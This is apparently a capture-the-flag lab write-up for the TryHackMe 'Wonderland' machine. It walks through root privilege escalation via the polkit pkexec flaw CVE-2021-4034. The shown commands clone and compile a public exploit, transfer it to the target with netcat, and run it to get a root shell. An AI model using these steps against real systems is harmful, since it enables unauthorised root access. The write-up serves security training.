Wonderland_Privilege_Escalation_2

CVE-2021-4034

---

PEAS identified that the target system is vulnerable to CVE-2021-4034

A vulnerability, which was classified as critical, has been found in polkit (version now known). This issue affects some unknown processing of the file /usr/bin/pkexec. The manipulation with an unknown input leads to a access control vulnerability. Using CWE to declare the problem leads to CWE-284. The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Impacted is confidentiality, integrity, and availability.

Exploit

---

Exploit found online

Local compilation is not possible. Opting out to remote compilation

Docker Exploit Development

---

┌──(kali㉿kali)-[~/archive/thm/wonderland]
└─$ docker run -it --entrypoint "/bin/bash" --name wonderland ubuntu:18.04
Unable to find image 'ubuntu:18.04' locally
18.04: Pulling from library/ubuntu
7c457f213c76: Pull complete 
Digest: sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98
Status: Downloaded newer image for ubuntu:18.04
root@04c5676dbf91:/# 

Setting up a Docker container to match the target environment; Ubuntu 18.04 and ldd (Ubuntu GLIBC 2.27-3ubuntu1) 2.27

root@04c5676dbf91:/# apt update -y ; apt install net-tools netcat nano gcc gcc-multilib make git wget -y ; cd root

Installing the necessary packages

root@04c5676dbf91:~# git clone https://github.com/berdav/CVE-2021-4034 && cd CVE-2021-4034 && make && cd .. && tar -czf CVE-2021-4034.tar.gz CVE-2021-4034
Cloning into 'CVE-2021-4034'...
remote: Enumerating objects: 92, done.
remote: Counting objects: 100% (36/36), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 92 (delta 24), reused 19 (delta 19), pack-reused 56 (from 1)
Unpacking objects: 100% (92/92), done.
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /bin/true GCONV_PATH=./pwnkit.so:.

Downloading, compiling, packaging the exploit

Exploitation

---

root@04c5676dbf91:~# nc 10.10.35.235 2222 < CVE-2021-4034.tar.gz
 
alice@wonderland:/dev/shm$ nc -nlvp 2222 > CVE-2021-4034.tar.gz
Listening on [0.0.0.0] (family 0, port 2222)
Connection from 10.9.2.142 47562 received!

Delivery complete

alice@wonderland:/dev/shm$ tar -xf CVE-2021-4034.tar.gz ; cd CVE-2021-4034

Unloading the exploit package

alice@wonderland:/dev/shm/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# hostname
wonderland
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:a9:f1:ea:f3:b7 brd ff:ff:ff:ff:ff:ff
    inet 10.10.35.235/16 brd 10.10.255.255 scope global dynamic eth0
       valid_lft 2807sec preferred_lft 2807sec
    inet6 fe80::a9:f1ff:feea:f3b7/64 scope link 
       valid_lft forever preferred_lft forever

System Level Compromise